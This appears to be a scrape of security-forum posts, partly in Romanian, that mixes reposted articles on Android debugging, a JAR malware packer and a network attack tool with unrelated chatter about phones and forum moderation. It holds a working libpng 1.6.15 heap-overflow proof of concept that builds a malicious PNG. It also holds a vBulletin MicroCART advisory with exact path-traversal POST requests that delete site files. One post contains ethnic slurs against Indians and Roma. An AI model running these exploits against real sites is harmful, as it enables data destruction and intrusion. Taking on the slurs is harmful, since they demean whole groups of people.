Nytro

UaF: Mitigation and Bypass Jared DeMott, Security Researcher Bromium Labs Motivation • Interest in the state of memory corruption exploits • Past work includes bypassing EMET • Wanted to examine ? Internet Explorers new Use-after-Free (UaF) protections ? Learn how effective they are ? How do these protections compare to EMET? • They don’t ? We’ll see a chart that shows the relative position of different protections Download: https://bromiumlabs.files.wordpress.com/2015/01/demott_uaf_migitation_and_bypass.pdf

A Guide to Debugging Android Binaries In this paper, I’ll describe how to start reverse code engineering in Android devices. In this tutorial, you’ll learn: Installation & configuration of Android Virtual Device. How to build your debugging environment. Short ARM assembly description. Debugging with GDB inside your Android device. Remote Debugging using gdbserver. Remote debugging using IDA. 1. Installation & configuration of Android Virtual Device The first thing to do is to download Android SDK and NDK. We will use GDB, other binutils, and also GCC and LD cross compiling chains. The cross compilers are able to compile binaries for other architectures. In our case, we want to compile ARM binaries from x64 architecture, since we are working on Linux x86_64, and we want to compile binaries for ARM android, so we have to use them. If you are curious about how to build these cross compiling chain tools,here are the commands: # wget -c ftp://ftp.gnu.org/gnu/binutils/binutils-2.11.2.tar.gz # tar xvf binutils-2.11.2.tar.gz # cd binutils-2.11.2 # ./configure –target=arm-linux In our case, we don’t need to do this, as NDK contains all the things we need. Let’s go back and download Android SDK and Android NDK from here: # https://developer.android.com/tools/sdk/ndk/index.html # https://developer.android.com/sdk/index.html or we can download the pre-compiled arm-linux-gnueab- toolchain . tarball these file in /opt/ and then add its path in $PATH variable environment. After that we have to install and configure an Android Virtual Device (AVD).This is where our binaries will run. Type : # android avd Click to New : Click OK, then start your Virtual Device. However, we don’t need its grapical user interface, we will connect to it using shell. AVD gives as a rooted device, so we can do everything, which will be great when we debug Linux internals and keep tracking syscalls. Once you click on the start button, your Virtual Device appears like this: In my case, I used Android 4.2 as a target and Nexus 7 as device,though there is nothing wrong with using other targets or devices. Let’s run our device shell: [TABLE] [TR] [TD=class: gutter]1 2 3[/TD] [TD=class: code]$ adb shell # id uid=0(root) gid=0(root) [/TD] [/TR] [/TABLE] 2.How to build your debugging environment Nothing’s new here, just mentionning that we will show three ways to debug an Android binary. The first one is to put GDB inside the device and start debugging as you are on a Linux box, thus we can keep track of several things like symbols, GOT, linked libraries, etc. The second one is by using gdbserver and opening a port in the device and forwarding it to an external port to gain access into the device using a GDB client. The third is debugging with IDA Pro. Debugging Android binaries without understanding ARM Assembly is worthless. We will show in the next chapter some basic stuff in ARM Assembly. 3.Short ARM description Personally, I like ARM assembly because it’s very easy to learn and dive into its programming. We will show some basic instructions and conventions: 3.1.Registers ARM Assembly has 16 registers. Some of them are for function arguments, others for local variables, program counter, stack pointer, and other registers. R0 to R3 : for function arguments. Alternative names are a0-a3. R4 to R9 : for local variables. R7 : almost holds the syscall number. R10 (sl) : Stack Limit. R11 (fp) : Fame Pointer. R12 (ip) : Intra Procedure. R13 (sp) : used as Stack Pointer like RSP in x86_64. R14 (lr) : Link Register. R15 (pc) : Program Counter (like RIP in x86_64 & EIP in x86). 3.2.Branching Branching instructions are used when the program needs some loops, procedures and functions. The behaviour of the calling function in ARM is different from x86 assembly . Here are the basic branching instructions: B Branch BL Branch with Link BX Branch with Exchange BLX Branch with Link and Exchange The B (Branch) doesn’t affect LR. That means if we jump to a subroutine we don’t have any traceback for where we were. It’s like JMP instruction in x86 assembly. The BL (Branch with Link) instruction makes a subroutine call by storing PC-4 in LR of the current place, and to return from subroutine, we simply need to restore PC from LR like: mov pc,lr. BX and BLX instructions are used in THUMB MODE which we don’t dive into in this part. 3.3.Data Processing As we know, ARM is a LOAD/STORE architecture it contains 4 main instructions classes: - Arithmetic operations: ADD op1+op2 ADC op1+op2+carry SUB op1-op2+carry-1 syntax : <operation> {<cond>}{S} Rd,Rn,operand examples : ADD r0,r1,r2 SUB R1,R2,#1 - Comparison: CMP op1-op2 TST op1 & op2 TEQ op1 ^ op2 By the way, the results of these operations are not written. Syntax : <operation> {<cond>} Rn,Op examples : CMP R0,R1 CMP R0,#2 - Logical operations: AND op1,op2 EOR op1,op2 ORR op1,op2 - Data movement between registers: MOV op1,op2 syntax : <Operation>{<cond>}{S} Rn, Op2 Examples: MOV r0, r1 We have shown some basic ARM instructions and as we said, it is easy to learn by practicing with some small examples. 4.Debugging with GDB inside your Android device You should download GDB ARM version statically linked. After we have GDB for arm targets, we have to push it on the Android device. # adb push ~/Bureau/arm-gdb /data So we make a small ARM binary as an example inside the device and we’ll keep track of its behaviour: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13[/TD] [TD=class: code]#include <stdio.h> #include <string.h> int main(int argc,char **argv) { char buf[16]; if(argc < 2) return -1; strcpy(buf,argv[1]); printf("Hello : %s n",buf); return 0; } [/TD] [/TR] [/TABLE] Let’s compile it: # arm-linux-gnueabi-gcc -o s s.c -static -zexecstack -fno-stack-protector # adb shell root@generic:/ # /data/gdb -q /data/s WARNING: generic atexit() called from legacy shared library Reading symbols from /data/s…(no debugging symbols found)…done. [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34[/TD] [TD=class: code](gdb) disas main Dump of assembler code for function main: 0x00008c24 <+0>: push {r7, lr} 0x00008c26 <+2>: sub sp, #24 0x00008c28 <+4>: add r7, sp, #0 0x00008c2a <+6>: str r0, [r7, #4] 0x00008c2c <+8>: str r1, [r7, #0] 0x00008c2e <+10>: ldr r3, [r7, #4] 0x00008c30 <+12>: cmp r3, #1 0x00008c32 <+14>: bgt.n 0x8c3a <main+22> 0x00008c34 <+16>: mov.w r3, #4294967295 0x00008c38 <+20>: b.n 0x8c5e <main+58> 0x00008c3a <+22>: ldr r3, [r7, #0] 0x00008c3c <+24>: add.w r3, r3, #4 0x00008c40 <+28>: ldr r3, [r3, #0] 0x00008c42 <+30>: add.w r2, r7, #8 0x00008c46 <+34>: mov r0, r2 0x00008c48 <+36>: mov r1, r3 0x00008c4a <+38>: blx 0x12e00 <strcpy> 0x00008c4e <+42>: movw r0, #51124 ; 0xc7b4 0x00008c52 <+46>: movt r0, #6 0x00008c56 <+50>: blx 0x99a8 <puts> 0x00008c5a <+54>: mov.w r3, #0 0x00008c5e <+58>: mov r0, r3 0x00008c60 <+60>: add.w r7, r7, #24 0x00008c64 <+64>: mov sp, r7 0x00008c66 <+66>: pop {r7, pc} End of assembler dump. (gdb) r aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Starting program: /data/s aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Program received signal SIGSEGV, Segmentation fault. 0x61616160 in ?? () [/TD] [/TR] [/TABLE] 5.Remote debugging using gdbserver This is another cool way to debug outside your device , so we copy gdbserver into /data directory or whatever you want. In the latest Android version, gdbserver has been included by default. Next, you choose between either attaching to a running process or executing a new process. The first thing we should do is port forwarding: [TABLE] [TR] [TD=class: gutter]1[/TD] [TD=class: code]adb forward tcp:<PC port> tcp:<device port>. [/TD] [/TR] [/TABLE] Example: [TABLE] [TR] [TD=class: gutter]1 2[/TD] [TD=class: code]# adb forward tcp:1234 tcp:1234 # adb shell [/TD] [/TR] [/TABLE] We choose any running process: [TABLE] [TR] [TD=class: gutter]1 2 3 4[/TD] [TD=class: code]root@generic:/ # gdbserver :1234 --attach 1436 Attached; pid = 1436 Listening on port 1234 Remote debugging from host 127.0.0.1 [/TD] [/TR] [/TABLE] In our box we use: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30[/TD] [TD=class: code]# cd /android-ndk-r9/toolchains/arm-linux-androideabi-4.8/prebuilt/linux-x86_64/bin # ./arm-linux-androideabi-gdb GNU gdb (GDB) 7.3.1-gg2 Copyright © 2011 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "--host=x86_64-linux-gnu --target=arm-linux-android". For bug reporting instructions, please see: <http://source.android.com/source/report-bugs.html>. (gdb) target remote :1234 Remote debugging using :1234 Remote communication error. Target disconnected.: Connection reset by peer. (gdb) (gdb) target remote :1234 Remote debugging using :1234 0xb6eb1f9c in ?? () (gdb) x/10i $pc Cannot access memory at address 0x5b6 => 0xb6eb1f9c: svc 0x00000000 0xb6eb1fa0: mov r7, r12 0xb6eb1fa4: cmn r0, #4096 ; 0x1000 0xb6eb1fa8: bxls lr 0xb6eb1fac: rsb r0, r0, #0 0xb6eb1fb0: b 0xb6ecdb28 0xb6eb1fb4: mov r12, r7 0xb6eb1fb8: mov r7, #174 ; 0xae 0xb6eb1fbc: svc 0x00000000 0xb6eb1fc0: mov r7, r12 (gdb) [/TD] [/TR] [/TABLE] 6. Remote debugging using IDA Pro: This is like gdbserver, but we should push android_server in the device machine. [TABLE] [TR] [TD=class: gutter]1[/TD] [TD=class: code]# adb push android_server /data [/TD] [/TR] [/TABLE] In IDA go to Debbugger ? Remote ARMLinux / Android server debugger, and set the host and the port with the path of the application. That’s all, we have described all the techniques. Moreover, I made this tutorial practical and as a reference for those of you who are interested. By Mohamed Ghannam|March 10th, 2014 Sursa: http://resources.infosecinstitute.com/guide-debugging-android-binaries/

Python videos. Multe. Link: http://pymust.watch/

Asta e ceva de bine. O sa dureze ceva sa va obisnuiti cu el, dar dupa un timp o sa vi se para ok.

libpng 1.6.15 heap overflow /********************************* * Alex Eubanks * * endeavor@rainbowsandpwnies.com * * libpng 1.6.15 heap overflow * * 18 December 2014 * *********************************/ /************* * A foreword * *************/ // this bug was found with american fuzzy lop! thanks lcamtuf! /* * We will trigger a call to zlib which will decompress data from an IDAT chunk * into a heap-buffer of 48 bytes. The size of this heap-buffer does not depend * on the amount of data we decompress into it. * * In some cases, like my case (programs are wonderful creations), this may * allow for a controlled write. * * My environment is * user@debian:~$ uname -a * Linux debian 3.2.0-4-686-pae #1 SMP Debian 3.2.63-2+deb7u2 i686 GNU/Linux * * Example code to trigger this overflow is available at the end of this post. * Simply set OVERFLOW_DATA to what you want to overflow the heap with. */ Program received signal SIGSEGV, Segmentation fault. 0xb7eb4f71 in ?? () from /lib/i386-linux-gnu/i686/cmov/libc.so.6 (gdb) x/i $pc => 0xb7eb4f71: movdqu %xmm0,(%esi) (gdb) i r esi esi 0x41414141 1094795585 (gdb) i r xmm0 xmm0 {v4_float = {0xc, 0xc, 0xc, 0xc}, v2_double = {0x228282, 0x228282}, v16_int8 = {0x41 <repeats 16 times>}, v8_int16 = {0x4141, 0x4141, 0x4141, 0x4141, 0x4141, 0x4141, 0x4141, 0x4141}, v4_int32 = {0x41414141, 0x41414141, 0x41414141, 0x41414141}, v2_int64 = {0x4141414141414141, 0x4141414141414141}, uint128 = 0x41414141414141414141414141414141} /*************** * The overflow * ***************/ # pngrutil.c :: png_read_IDAT_data :: line 4018 /* * At the time of this call, * png_ptr->zstream->avail_out = 0x20000000 * png_ptr->zstream->avail_in = size of our compressed IDAT data * png_ptr->zstream->next_in = our compressed IDAT data * png_ptr->zstream->next_out = a pointer to row_buf, 31 bytes in big_row_buf */ ret = inflate(&png_ptr->zstream, Z_NO_FLUSH); /******* * IHDR * *******/ [0-3] = png_ptr->width // 0x20000000 [4-7] = png_ptr->height // 0x00000020 [8] = png_ptr->bit_depth // 0x10 [9] = png_ptr->color_type // 0x06 [10] = png_ptr->compression_type // 0x00 [11] = png_ptr->filter_type // 0x00 [12] = png_ptr->interlace_type // 0x01 /********************* * png_read_IDAT_data * *********************/ # pngrutil.c :: png_read_IDAT_data :: line 3941 void /* PRIVATE */ png_read_IDAT_data(png_structrp png_ptr, png_bytep output, png_alloc_size_t avail_out) / * png_bytep output * \-> a buffer to decompress the IDAT data into * png_alloc_size_t avail_out * \-> The size of output in bytes */ # pngrutil.c :: png_read_IDAT_data :: line 3984 buffer = png_read_buffer(png_ptr, avail_in, 0/*error*/); # pngrutil.c :: png_read_IDAT_data :: line 3989 png_ptr->zstream.next_in = buffer; # pngrutil.c :: png_read_IDAT_data :: line 3946 png_ptr->zstream.next_out = output; # pngrutil.c :: png_read_IDAT_data :: line 4002 png_ptr->zstream.avail_out = out; pngrutil.c :: png_read_IDAT_data :: line 4018 ret = inflate(&png_ptr->zstream, Z_NO_FLUSH); /********************************* * The call to png_read_IDAT_data * *********************************/ # pngread.c :: png_read_row :: line 534 png_read_IDAT_data(png_ptr, png_ptr->row_buf, row_info.rowbytes + 1); # pngrutil.c :: png_read_IDAT_data :: line 3941 void /* PRIVATE */ png_read_IDAT_data(png_structrp png_ptr, png_bytep output, png_alloc_size_t avail_out) /***************************** * deriving row_info.rowbytes * *****************************/ # pngread.c :: png_read_row :: line 397 row_info.rowbytes = PNG_ROWBYTES(row_info.pixel_depth, row_info.width); /************************************ * deriving row_info.rowbytes * * \-> deriving row_info.pixel_depth * ************************************/ # pngread.c :: png_read_row :: line 396 row_info.pixel_depth = png_ptr->pixel_depth; // row_info.pixel_depth is set in png_handle_IHDR # pngrutil.c :: png_handle_IHDR :: line 855 png_ptr->pixel_depth = (png_byte)(png_ptr->bit_depth * png_ptr->channels); // where png_ptr->bit_depth = IHDR[8], or 0x10 // channels is set by the following logic based off // IHDR->color_type, or 0x6 if (color_type == PNG_COLOR_TYPE_RGB) // 2 png_ptr->channels = 3 else if (color_type == PNG_COLOR_TYPE_GRAY_ALPHA) // 4 png_ptr->channels = 2 else if (color_type == PNG_COLOR_TYPE_RGB_ALPHA) // 6 png_ptr->channels = 4 else png_ptr->channels = 1 // row_info.pixel_depth = 0x10 * 4 /************************************ * deriving row_info.rowbytes * * \-> deriving row_info.width * ************************************/ # pngread.c :: png_read_row :: line 392 row_info.width = png_ptr->iwidth; /* NOTE: width of current interlaced row */ // png_ptr->iwidth is set in png_read_start_row // cliff notes here are, during the first interlace pass, width will be // divided by 8, so 0x20000000 becomes 0x4000000 // actual computation is ((0x20000000 + 8 - 1 - 0) / 8) # pngrutil.c :: png_read_start_row :: line 4217 png_ptr->iwidth = (png_ptr->width + // png_ptr->width = 0x20000000 png_pass_inc[png_ptr->pass] - 1 - png_pass_start[png_ptr->pass]) / png_pass_inc[png_ptr->pass]; // png_ptr->iwidth = 0x4000000 // back to our original call for row_info.rowbytes # pngread.c :: png_read_row :: line 397 row_info.rowbytes = PNG_ROWBYTES(row_info.pixel_depth, row_info.width); # pngpriv.h :: line 659 /* Added to libpng-1.2.6 JB */ #define PNG_ROWBYTES(pixel_bits, width) \ ((pixel_bits) >= 8 ? \ ((png_size_t)(width) * (((png_size_t)(pixel_bits)) >> 3)) : \ (( ((png_size_t)(width) * ((png_size_t)(pixel_bits))) + 7) >> 3) ) // row_info.rowbytes = 0x4000000 * ((64) >> 3) = 0x20000000 // row_info.rowbytes = 0x20000000 /**************************** * deriving png_ptr->row_buf * ****************************/ # pngstruct.h :: line 225 // inside struct png_struct_def, which is png_ptr png_bytep row_buf; /* buffer to save current (unfiltered) row. * This is a pointer into big_row_buf */ # pngrutil.c :: png_read_start_row :: line 4403 png_ptr->big_row_buf = (png_bytep)png_malloc(png_ptr, row_bytes + 48); // there are a couple #ifdef cases for png_ptr->row_buf to be set from, // but this summarizes nicely # pngrutil.c :: png_read_start_row :: line 4427 png_ptr->row_buf = png_ptr->big_row_buf + 31; /**************************** * deriving png_ptr->row_buf * * \-> deriving row_bytes * ****************************/ # pngrutil :: png_read_start_row :: line 4427 row_bytes = ((png_ptr->width + 7) & ~((png_uint_32)7)); /* Calculate the maximum bytes needed, adding a byte and a pixel * for safety's sake */ row_bytes = PNG_ROWBYTES(max_pixel_depth, row_bytes) + 1 + ((max_pixel_depth + 7) >> 3); // cliff notes, based on our IHDR color_type being // PNG_COLOR_TYPE_RGB_ALPHA, max_pixel_depth = 64 row_bytes = 0x20000000 * (64 >> 3) = 0; // this makes the size of the malloc call to png_malloc 48, which means // malloc doesn't fail, returns valid pointer into the heap // png_ptr->big_row_buf = png_malloc(png_ptr, 48) ################## # HAPPY FUN CODE # ################## import zlib import struct import sys OVERFLOW_DATA = 'A' * 4096 IDAT_DATA = zlib.compress(OVERFLOW_DATA) IDAT_SIZE = struct.pack('>i', len(IDAT_DATA)) IDAT_CRC32 = struct.pack('>i', zlib.crc32('IDAT' + IDAT_DATA)) HEADER = '\x89\x50\x4e\x47\x0d\x0a\x1a\x0a' IHDR = '\x00\x00\x00\x0d\x49\x48\x44\x52\x20\x00\x00\x00\x00\x00\x00\x20\x10\x06\x00\x00\x01\xa8\xce\xde\x04' IDAT = IDAT_SIZE + 'IDAT' + IDAT_DATA + IDAT_CRC32 IEND = '\x00\x00\x00\x00\x49\x45\x4e\x44' sys.stdout.write(HEADER + IHDR + IDAT + IEND) Sursa: http://tfpwn.com/files/libpng_heap_overflow_1.6.15.txt

[h=3]Analysis of a JAR Obfuscated Malware Packer[/h] by Ruhai Zhang | December 01, 2014 | Category: Security Research Normal Java JAR or class format samples can be easily analyzed with Java decompiler tools, such as JAD and JD-GUI. Not so with those obfuscated ones, where decompiling results may be empty or not clear. When this happens, we need to then analyze the JVM (Java Virtual Machine) p-code. Nowadays, more and more Java malware use anti-decompiling techniques to increase the difficulty of analysis. In this blog post, we will analyze a new JAR obfuscated packer that is being used by Java malware, using a sample that we detect as Java/Obfus.CI!tr as an example. [h=3]Decompiling the JAR Malware Sample[/h] This JAR sample has the following layout: Figure 1. JAR sample layout The main class defined in MANIFEST.MF is stub.EcryptedWrapper; the file stub.dll contains encrypted or compressed data. Using JD-GUI to decompile this sample, we can only see empty classes. Using JAD, we can get the result, but most of the classes are in JVM p-code. In the decompiled results from JAD, there are a large number of System.out.println() junk codes. After removing all of them, the flow is a little bit clearer. Many strings are still encrypted, but we can then locate and analyze the decrypting methods. EncryptedLoader.ALLATORIxDEMOxpalksksdqwdqbgnhmtyter("") EncryptedLoaderOld.ALLATORIxDEMOxpalksksdqwdqbgnhmtyter("") These two methods have the same algorithm (shown in Figure 2) but just use different parameters. Figure 2. String decoder loop. [h=3]Decrypting the String[/h] Based on the algorithm in Figure 2, we can use the following Python function to decrypt the strings: def decoder(enc_str, key_str, key1, key2): klen = len(key_str) kidx = klen - 1 elen = len(enc_str) eidx = elen - 1 olist = [''] * elen while eidx >= 0: olist[eidx] = chr(ord(key_str[kidx]) ^ ord(enc_str[eidx]) ^ key1) eidx -= 1 if eidx >= 0: olist[eidx] = chr(ord(key_str[kidx]) ^ ord(enc_str[eidx]) ^ key2) eidx -= 1 kidx -= 1 if kidx < 0: kidx = klen - 1 return ''.join(olist) The three parameters key_str, key1, and key2 are as follows: EncryptedLoader: <class_name>+<method_name>, 0x52, 0x5A EncryptedLoaderOld: <method_name>+<class_name>, 0x2F, 0x55 After replacing all the encrypted strings, the flow is quite clear. The following is a simplified flow of the main class EcryptedWrapper. public class EcryptedWrapper implements Runnable { private EncryptedLoaderOld loader_old; public void run() { Class cls = loader_old.loadClass('Start'); cls.getMethod('main').invoke(); } public EcryptedWrapper() { EncryptedLoader loader = new EncryptedLoader(); loader.load(); //load and decrypt stub.dll loader_old = new EncryptedLoaderOld(loader.getClasses(), loader.getResources()); } public static void main(String args[]) { EcryptedWrapper wrapper = new EcryptedWrapper(); (new Thread(wrapper)).start(); } } [h=3]Decrypting stub.dll[/h] Based on the decompiling result of EncryptedLoader.class, the file stub.dll can be decrypted with the following Python function: from Crypto.Cipher import AES def decrypt_jar(fname): fp_in = open(fname, 'rb') fp_out = open(fname+'_', 'wb') key = '0B4wCrd5N2OxG93h' cipher = AES.new(key) fp_out.write(cipher.decrypt(fp_in.read())) fp_in.close() fp_out.close() The decrypted result is a friendly JAR file which can be decompiled by JD-GUI. Its main class in MANIFEST.MF is Start, as shown in the run() method of EcryptedWrapper. Our initial analysis shows that it is a multiplatform RAT. [h=3]Conclusion[/h] As we have seen, Java malware have continued to evolve in order to make analysis more difficult by adding an obfuscation packer. We have already added detection for several Java malware that use this kind packer and will continue to keep our eyes open for new techniques that may emerge in the days ahead. by Ruhai Zhang | December 01, 2014 Sursa: Analysis of a JAR Obfuscated Malware Packer | Fortinet Blog

In mare e ok, DAR eu am avut probleme cu Camera si din aceasta cauza l-am abandonat. Mai exact, daca tii apasat sa faci poza (asteptand sa se puna focusul) se blocheaza si apoi nu mai poti face poza. Mai era dubios ca nu am gasit un meniu accesibil de unde sa pun telefonul pe Silent iar "Alarm clock" l-am descoperit din greseala dupa o saptamana E interesant, alt design + aplicatii de la dezvoltatori care iti permit sa dai Deny cand o aplicatie cere drepturi de Location de exemplu. Nota: Din cauza problemelor cu Camera m-am intors la 4.4.2, dar merita "descoperit" Lollipop asta. Daca aveti timp puteti sa va jucati cu el.

Lydecker Black on 7:44 PM Zarp is a network attack tool centered around the exploitation of local networks. This does not include system exploitation, but rather abusing networking protocols and stacks to take over, infiltrate, and knock out. Sessions can be managed to quickly poison and sniff multiple systems at once, dumping sensitive information automatically or to the attacker directly. Various sniffers are included to automatically parse usernames and passwords from various protocols, as well as view HTTP traffic and more. DoS attacks are included to knock out various systems and applications. These tools open up the possibility for very complex attack scenarios on live networks quickly, cleanly, and quietly. The long-term goal of zarp is to become the master command center of a network; to provide a modular, well-defined framework that provides a powerful overview and in-depth analysis of an entire network. This will come to light with the future inclusion of a web application front-end, which acts as the television screen, whereas the CLI interface will be the remote. This will provide network topology reports, host relationships, and more. zarp aims to be your window into the potential exploitability of a network and its hosts, not an exploitation platform itself; it is the manipulation of relationships and trust felt within local intranets. Look for zeb, the web-app frontend to zarp, sometime in the future. Tool Overview Broad categories are (see wiki for more information on these): Poisoners Denial of Service Sniffers Scanners Services Parameter Attacks List of modules accessible from the command line: bryan@debdev:~/tools/zarp$ sudo ./zarp.py --help [!] Loaded 34 modules. ____ __ ____ ____ (__ ) / _\ ( _ \( _ ' / _/ / \ ) / ) __/ (____)\_/\_/(__\_)(__) [Version: 0.1.5] usage: zarp.py [-h] [-q FILTER] [--update] [--wap] [--ftp] [--http] [--smb] [--ssh] [--telnet] [-w] [-s] [--service-scan] optional arguments: -h, --help show this help message and exit -q FILTER Generic network sniff --update Update Zarp Services: --wap Wireless access point --ftp FTP server --http HTTP Server --smb SMB Service --ssh SSH Server --telnet Telnet server Scanners: -w Wireless AP Scan -s Network scanner --service-scan Service scanner bryan@debdev:~/tools/zarp$ Download Zarp Sursa: Zarp - Local Network Attack Framework | KitPloit - PenTest Tools for your Security Arsenal!

[h=2]How to install Android 5.0.1 Lollipop on Samsung Galaxy S4[/h]Ionut Popescu With the new release of Android 5.0.1 Lollipop, we wanted to explore its new features and security enhancements. However, since this version of Android is officially limited to Nexus phones, we had to install it on a device that we own – Samsung Galaxy S4. This is a step by step tutorial on how to install Android 5.0.1 on Samsung Galaxy S4 (including rooting instructions). [h=2]You must have:[/h] a Samsung Galaxy S4 (with enough battery) a microSD card (at least 1 GB if you don’t backup data to microSD) a microUSB cable [h=2]Disclaimer:[/h] We are not responsible for any bricked device which may come up after these instructions We are not responsible for any bugs in Android 5.0.1 (GPS, alarm clock…) We are not responsible for losing your data (backup your data first) Articol complet: How to install Android 5.0.1 Lollipop on Samsung Galaxy S4 – Security Café

Nu e bug: https://rstforums.com/forum/members/nytro/ Ca face redirect pentru alt link e altceva. Apare pe undeva acel link?

E scrisa de un indian - e un jeg. DAR pentru incepatori e foarte buna. Contine multe informatii de baza utile. Bine, cica sa folosesti "Andry IP scanner"... Sa scrii asta intr-o carte de "hacking"... Sa ii dea cineva cu lopata in cap tiganului care a scris-o, mai ales ca in mod normal vrea bani pentru porcaria asta. Nota: Nu ii suport pe indieni si parerea mea "poate" fi subiectiva.

Nu IL in assembly. IL in bytecode de IL. IL opcodes. Interpretorul de MSIL nu are de-a face cu ASM (-ul clasic). El citeste opcode-urile de MSIL Adica: call void [mscorlib]System.Console::Write (string) Poate sa fie 0xFF 0x11223344 unde 0xFF == call si 0x11223344 sa fie adresa functiei. Cautai putin dar nu gasii documentatie legata de asa ceva. Dar probabil sunt tool-uri care te ajuta, MSIL decompiler, .NET reflector, de genul acesta. Nu stiu pentru ca nu le-am incercat dar verifica daca au optiune sa iti arate bytecode. Edit: Write MSIL Code on the Fly with the .NET Framework Profiling API Edit: CLR Injection: Runtime Method Replacer - CodeProject

E nasol cu template hook-urile. Am incercat sa il mut, dar nu mai e generat continutul. Nu am timp sa ma uit sa vad care e problema. Cu Copy/Paste la HTML merge, dar cand copiez codul din template care le genereaza... Nu le mai genereaza. Nu stiu exact de ce, banuiesc ca vrea si el anumite clase si ID-uri si nu pot sa le pastrez, deocamdata. Cand mai am timp o sa ma mai uit.

[h=1]vBulletin MicroCART 1.1.4 - Arbitrary File(s) Deletion, SQL Injection & XSS[/h] # Exploit Title: vBulletin MicroCART 1.1.4 - Arbitrary File(s) Deletion, SQL Injection & XSS # Date: January 8, 2015 # Exploit Author: Technidev (https://technidev.com) # Vendor Homepage: https://vbulletin.com # Software Link: http://www.vbulletin.org/forum/showthread.php?t=256723 # Version: 1.1.4 This plugin is fairly old but still used by a lot of people and received its last update nearly 4 years ago. It’s vulnerable to arbitrary file deletion and SQL injection. *Arbitrary File(s) Deletion* In /microcart/editor/assetmanager/ are a bunch of files which are probably used to manage files/folders for the administrator, unfortunately no authentication and checks were added to see if the user should have access to it and if the request doesn’t contain anything malicious. The /microcart/editor/assetmanager/folderdel_.php file contains the following on top: $sMsg = ""; if(isset($_POST["inpCurrFolder"])) { $sDestination = pathinfo($_POST["inpCurrFolder"]); //DELETE ALL FILES IF FOLDER NOT EMPTY $dir = $_POST["inpCurrFolder"]; $handle = opendir($dir); while($file = readdir($handle)) if($file != "." && $file != "..") unlink($dir . "/" . $file); closedir($handle); if(rmdir($_POST["inpCurrFolder"])==0) $sMsg = ""; else $sMsg = "<script>document.write(getTxt('Folder deleted.'))</script>"; } By simply sending a POST request to this file, we can delete every single file in specified folder. POST to: /microcart/editor/assetmanager/folderdel_.php POST data: inpCurrFolder: ../../../ This POST request will delete every single .php file in the root folder of vBulletin. *Arbitrary File Deletion* There’s another vulnerability which resides in the /microcart/editor/assetmanager/assetmanager.php file. It contains an upload function, which is safe, and a file deletion function, which is not safe. We can delete any file off the server by abusing this. So unlike the previous vulnerability I just wrote which deletes all files by sending a POST request with a folder value, this will only delete 1 file off the server. Vulnerable code: if(isset($_POST["inpFileToDelete"])) { $filename=pathinfo($_POST["inpFileToDelete"]); $filename=$filename['basename']; if($filename!="") unlink($currFolder . "/" . $filename); $sMsg = ""; } Exploited by sending the following request: POST to: /microcart/editor/assetmanager/assetmanager.php POST data: inpCurrFolder: ../../../ inpFileToDelete: index.php This will delete the /index.php file of vBulletin, in the root. *Aribtrary Folder Creation* Besides the file deletion, there’s a file called /microcart/editor/assetmanager/foldernew.php which created a 0755 chmodded folder on the server. The file contains the following on top: $sMsg = ""; if(isset($_POST["inpNewFolderName"])) { $sFolder = $_POST["inpCurrFolder"]."/".$_POST["inpNewFolderName"]; if(is_dir($sFolder)==1) {//folder already exist $sMsg = "<script>document.write(getTxt('Folder already exists.'))</script>"; } else { //if(mkdir($sFolder)) if(mkdir($sFolder,0755)) $sMsg = "<script>document.write(getTxt('Folder created.'))</script>"; else $sMsg = "<script>document.write(getTxt('Invalid input.'))</script>"; } } By sending the following POST request, we will create a folder with 0755 chmodded permission. POST to: /microcart/editor/assetmanager/foldernew.php POST data: inpNewFolderName: davewashere inpCurrFolder: ../../.. This POST request will create the folder davewashere in the root of the vBulletin forum. *SQL Injection* MicroCART is also vulnerable to SQL injection at several locations although most of them are rather hard to abuse. I will not explain how to exploit it, but the vulnerability can be found at /cart.php line 833 to 881 and the function where you can add products to your shopping cart, at around line 1251 to 1328 where $_POST[‘fields’] is assigned to the configuration variable which is later used in a query. *Cross Site Scripting* When modifying your information at /cart.php?do=cpanel, you can inject anything you want into the fields. Viewing reviews of products may be vulnerable as well when you leave out the wysiwyg POST key. Sursa: vBulletin MicroCART 1.1.4 - Arbitrary File(s) Deletion, SQL Injection & XSS

1. MSIL disassembly 2. Vezi bytecode pentru invoke 3. Pune un jmp din MSIL (banuiesc ca exista un echivalent) 4. Functia ta sa preia argumentele (stack?) 5. Restore original bytes (ca la hook obisnuit) 6. Restaurezi bytes In fine, sa faci echivalentul unui hook din C++. Sfaturi: 1. Invata MSIL 2. Invata bytecode MSIL

Asta: Moles - Isolation framework for .NET - Microsoft Research ? Poate te ajuta: - MethodLogger - Hook into method calls in .NET binaries - CodeProject - PostSharp – We Make .NET Languages Stronger - Smart Unit Testing - Made easy with Typemock - .NET CLR Injection: Modify IL Code during Run-time - CodeProject Note: Nu am citit prea multe despre ele dar mi se pare un subiect interesant si o sa aflu mai multe zilele astea.

Am resetat (adica sters) toate like-urile si dislike-urile. In plus, acum nu mai conteaza deloc un Like si un Dislike la reputatie. Adica puteti sa dati cate Like-uri si Dislike-uri vreti, nu o sa incante pe nimeni. Daca exagerati cu Dislike-urile, o sa pun sa nu mai fie afisate. Have fun.

Nu incape grasu' pe 100Mb Ia: Switch Cisco Systems, SG100D-08-EU, 8-Port Gigabit - eMAG.ro

Sunt selectate automat si probabil random de catre plugin.

Daca ai antivirus, e posibil sa fie de la self defence-ul sau.

Ce e ala "hidden pid"? Te referi la rootkit-uri?

Nu. Dar anumite persoane au facut boti pentru Like/Dislike. Aceste Like-uri si Dislike-uri la gramada afecteaza reputatia.

